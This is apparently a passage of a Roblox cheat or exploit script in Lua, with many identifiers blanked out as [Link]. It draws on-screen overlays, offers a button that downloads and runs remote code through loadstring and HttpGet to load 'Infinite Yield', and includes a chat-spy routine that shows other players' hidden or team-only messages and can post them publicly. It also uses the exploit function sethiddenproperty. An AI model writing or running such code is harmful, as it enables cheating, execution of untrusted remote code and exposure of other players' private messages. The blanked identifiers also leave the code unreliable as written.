[Link](([Link].X - 220), 170)
[Link] = true
end
end
[Link]:Connect(function()
UpdateViewAngle()
end)
Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local AirStuckText = [Link]("Text")
[Link] = "SlowWalk Off"
[Link] = [Link](255, 0, 0)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
[Link] = [Link](([Link].X - 100),
20)
local function UpdateAirStuckText()
if UserInputService:IsKeyDown([Link]) then
[Link] =
[Link](0,0,0)
[Link] = "SlowWalk On"
[Link] = [Link](0, 255, 0)
else
[Link] = "SlowWalk Off"
[Link] = [Link](255, 0, 0)
end
end
game:GetService("RunService").RenderStepped:Connect(function()
UpdateAirStuckText()
end)
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local LookAngleText = [Link]("Text")
[Link] = "Look Angle: 0"
[Link] = [Link](255, 255, 255)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
[Link] = [Link](([Link].X -
220), 185)
local function GetLookAngle()
local character = [Link]
if not character then return end
local cameraCFrame = [Link]
local lookVector = [Link]:VectorToWorldSpace([Link](0, 0, -
1))
local angle = [Link](math.atan2(lookVector.X, lookVector.Z) / [Link] *
180)
[Link] = "Look Angle: " .. angle
end
game:GetService("RunService").RenderStepped:Connect(function()
GetLookAngle()
end)
end)
SettingSection:NewKeybind("Toggle UI", "Close/Open UI", [Link],
function()
Library:ToggleUI()
end)
SettingSection:NewButton("Infinite Yield", "This another populuar universal
script", function()
loadstring(game:HttpGet("[Link]
master/source", true))()
end)
SettingSection:NewButton("Unhide Chat", "This will allow you to see hidden chat",
function()
--This script reveals ALL hidden messages in the default chat
enabled = true --chat "/spy" to toggle!
spyOnMyself = true --if true will check your messages too
public = false --if true will chat the logs publicly (fun, risky)
publicItalics = true --if true will use /me to stand out
privateProperties = { --customize private logs
Color = [Link](0,255,255);
Font = [Link];
TextSize = 18;
}
local StarterGui = game:GetService("StarterGui")
local Players = game:GetService("Players")
local player = [Link] or
Players:GetPropertyChangedSignal("LocalPlayer"):Wait() or [Link]
local saymsg =
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):Wa
itForChild("SayMessageRequest")
local getmsg =
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):Wa
itForChild("OnMessageDoneFiltering")
local instance = (_G.chatSpyInstance or 0) + 1
_G.chatSpyInstance = instance
local function onChatted(p,msg)
if _G.chatSpyInstance == instance then
if p==player and msg:lower():sub(1,4)=="/spy" then
enabled = not enabled
wait(0.3)
[Link] = "{SPY "..(enabled and "EN" or
"DIS").."ABLED}"
StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
elseif enabled and (spyOnMyself==true or p~=player) then
msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ')
local hidden = true
local conn =
[Link]:Connect(function(packet,channel)
if [Link]==[Link] and
[Link]==msg:sub(#msg-#[Link]+1) and (channel=="All" or
(channel=="Team" and public==false and
Players[[Link]].Team==[Link])) then
hidden = false
end
end)
wait(1)
conn:Disconnect()
if hidden and enabled then
if public then
saymsg:FireServer((publicItalics and "/me " or
'').."{SPY} [".. [Link] .."]: "..msg,"All")
else
[Link] = "{SPY} [".. [Link] .."]:
"..msg
StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
end
end
end
end
end
for _,p in ipairs(Players:GetPlayers()) do
[Link]:Connect(function(msg) onChatted(p,msg) end)
end
[Link]:Connect(function(p)
[Link]:Connect(function(msg) onChatted(p,msg) end)
end)
[Link] = "{SPY "..(enabled and "EN" or "DIS").."ABLED}"
StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
if not [Link]:FindFirstChild("Chat") then wait(3) end
local chatFrame = [Link]
[Link] = true
[Link] =
[Link]+[Link]([Link](),[Link]
[Link].Y)
end)
SettingSection:NewButton("Rainbow World(Rejoin to fix)", "Just makes everything
rainbow", function()
if not game:IsLoaded() then
[Link]:Wait()
end
wait()
--// instances
local cc = [Link]("ColorCorrectionEffect")
local lighting = game:GetService("Lighting")
local sbox = [Link]("Sky")
--// hd killer
local ihateu = {"DepthOfFieldEffect", "SunRaysEffect", "BloomEffect", "BlurEffect",
"ColorCorrectionEffect", "Atmosphere"}
for i, v in pairs(lighting:GetChildren()) do
for index, value in ipairs(ihateu) do
if v:IsA(value) then
v:Destroy()
end
end
end
--// setup
[Link] = [Link]
[Link] = -0.1
[Link] = -0.1
[Link] = false
sethiddenproperty(lighting, "Technology", [Link])
[Link] = lighting
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link](0,0,0)
[Link] = [Link](0,0,0)
[Link] = 3
[Link] = 2000
local hue = 0
while true do
hue = hue + 1
if hue > 360 then
hue = 0
end
local color = [Link](hue/360, 1, 1)
[Link] = color
[Link] = color
wait(0.05)
end
end)